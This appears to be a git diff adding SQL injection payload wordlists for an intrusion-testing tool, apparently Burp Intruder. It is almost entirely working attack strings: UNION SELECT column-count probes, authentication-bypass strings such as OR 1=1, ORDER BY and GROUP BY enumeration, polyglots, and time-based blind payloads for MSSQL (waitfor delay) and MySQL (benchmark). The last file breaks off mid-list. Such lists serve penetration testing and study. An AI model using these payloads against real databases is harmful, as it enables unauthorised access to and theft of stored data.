UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX'--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
|
||||
88
FIX_SQL Injection/Intruder/SQL-Injection
Normal file
88
FIX_SQL Injection/Intruder/SQL-Injection
Normal file
@@ -0,0 +1,88 @@
|
||||
'
|
||||
''
|
||||
`
|
||||
``
|
||||
,
|
||||
"
|
||||
""
|
||||
/
|
||||
//
|
||||
\
|
||||
\\
|
||||
;
|
||||
' or "
|
||||
-- or #
|
||||
' OR '1
|
||||
' OR 1 -- -
|
||||
" OR "" = "
|
||||
" OR 1 = 1 -- -
|
||||
' OR '' = '
|
||||
'='
|
||||
'LIKE'
|
||||
'=0--+
|
||||
OR 1=1
|
||||
' OR 'x'='x
|
||||
' AND id IS NULL; --
|
||||
'''''''''''''UNION SELECT '2
|
||||
%00
|
||||
/*…*/
|
||||
+ addition, concatenate (or space in url)
|
||||
|| (double pipe) concatenate
|
||||
% wildcard attribute indicator
|
||||
|
||||
@variable local variable
|
||||
@@variable global variable
|
||||
|
||||
|
||||
# Numeric
|
||||
AND 1
|
||||
AND 0
|
||||
AND true
|
||||
AND false
|
||||
1-false
|
||||
1-true
|
||||
1*56
|
||||
-2
|
||||
|
||||
|
||||
1' ORDER BY 1--+
|
||||
1' ORDER BY 2--+
|
||||
1' ORDER BY 3--+
|
||||
|
||||
1' ORDER BY 1,2--+
|
||||
1' ORDER BY 1,2,3--+
|
||||
|
||||
1' GROUP BY 1,2,--+
|
||||
1' GROUP BY 1,2,3--+
|
||||
' GROUP BY columnnames having 1=1 --
|
||||
|
||||
|
||||
-1' UNION SELECT 1,2,3--+
|
||||
' UNION SELECT sum(columnname ) from tablename --
|
||||
|
||||
|
||||
-1 UNION SELECT 1 INTO @,@
|
||||
-1 UNION SELECT 1 INTO @,@,@
|
||||
|
||||
1 AND (SELECT * FROM Users) = 1
|
||||
|
||||
' AND MID(VERSION(),1,1) = '5';
|
||||
|
||||
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
|
||||
|
||||
|
||||
Finding the table name
|
||||
|
||||
|
||||
Time-Based:
|
||||
,(select * from (select(sleep(10)))a)
|
||||
%2c(select%20*%20from%20(select(sleep(10)))a)
|
||||
';WAITFOR DELAY '0:0:30'--
|
||||
|
||||
Comments:
|
||||
|
||||
# Hash comment
|
||||
/* C-style comment
|
||||
-- - SQL comment
|
||||
;%00 Nullbyte
|
||||
` Backtick
|
||||
2
FIX_SQL Injection/Intruder/SQLi_Polyglots.txt
Normal file
2
FIX_SQL Injection/Intruder/SQLi_Polyglots.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
|
||||
SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample
|
||||
107
FIX_SQL Injection/Intruder/payloads-sql-blind-MSSQL-INSERT
Normal file
107
FIX_SQL Injection/Intruder/payloads-sql-blind-MSSQL-INSERT
Normal file
@@ -0,0 +1,107 @@
|
||||
)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
)%20waitfor%20delay%20'0:0:20'%20--
|
||||
')%20waitfor%20delay%20'0:0:20'%20/*
|
||||
')%20waitfor%20delay%20'0:0:20'%20--
|
||||
")%20waitfor%20delay%20'0:0:20'%20/*
|
||||
")%20waitfor%20delay%20'0:0:20'%20--
|
||||
))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
))%20waitfor%20delay%20'0:0:20'%20--
|
||||
'))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'))%20waitfor%20delay%20'0:0:20'%20--
|
||||
"))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"))%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL)%20waifor%20delay%20'0:0:20'%20/*
|
||||
',NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL)%20waifor%20delay%20'0:0:20'%20/*
|
||||
'),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
40
FIX_SQL Injection/Intruder/payloads-sql-blind-MSSQL-WHERE
Normal file
40
FIX_SQL Injection/Intruder/payloads-sql-blind-MSSQL-WHERE
Normal file
@@ -0,0 +1,40 @@
|
||||
waitfor delay '0:0:20' /*
|
||||
waitfor delay '0:0:20' --
|
||||
' waitfor delay '0:0:20' /*
|
||||
' waitfor delay '0:0:20' --
|
||||
" waitfor delay '0:0:20' /*
|
||||
" waitfor delay '0:0:20' --
|
||||
) waitfor delay '0:0:20' /*
|
||||
) waitfor delay '0:0:20' --
|
||||
)) waitfor delay '0:0:20' /*
|
||||
)) waitfor delay '0:0:20' --
|
||||
))) waitfor delay '0:0:20' /*
|
||||
))) waitfor delay '0:0:20' --
|
||||
)))) waitfor delay '0:0:20' /*
|
||||
)))) waitfor delay '0:0:20' --
|
||||
))))) waitfor delay '0:0:20' --
|
||||
)))))) waitfor delay '0:0:20' --
|
||||
') waitfor delay '0:0:20' /*
|
||||
') waitfor delay '0:0:20' --
|
||||
") waitfor delay '0:0:20' /*
|
||||
") waitfor delay '0:0:20' --
|
||||
')) waitfor delay '0:0:20' /*
|
||||
')) waitfor delay '0:0:20' --
|
||||
")) waitfor delay '0:0:20' /*
|
||||
")) waitfor delay '0:0:20' --
|
||||
'))) waitfor delay '0:0:20' /*
|
||||
'))) waitfor delay '0:0:20' --
|
||||
"))) waitfor delay '0:0:20' /*
|
||||
"))) waitfor delay '0:0:20' --
|
||||
')))) waitfor delay '0:0:20' /*
|
||||
')))) waitfor delay '0:0:20' --
|
||||
")))) waitfor delay '0:0:20' /*
|
||||
")))) waitfor delay '0:0:20' --
|
||||
'))))) waitfor delay '0:0:20' /*
|
||||
'))))) waitfor delay '0:0:20' --
|
||||
"))))) waitfor delay '0:0:20' /*
|
||||
"))))) waitfor delay '0:0:20' --
|
||||
')))))) waitfor delay '0:0:20' /*
|
||||
')))))) waitfor delay '0:0:20' --
|
||||
")))))) waitfor delay '0:0:20' /*
|
||||
")))))) waitfor delay '0:0:20' --
|
||||
90
FIX_SQL Injection/Intruder/payloads-sql-blind-MySQL-INSERT
Normal file
90
FIX_SQL Injection/Intruder/payloads-sql-blind-MySQL-INSERT
Normal file
@@ -0,0 +1,90 @@
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
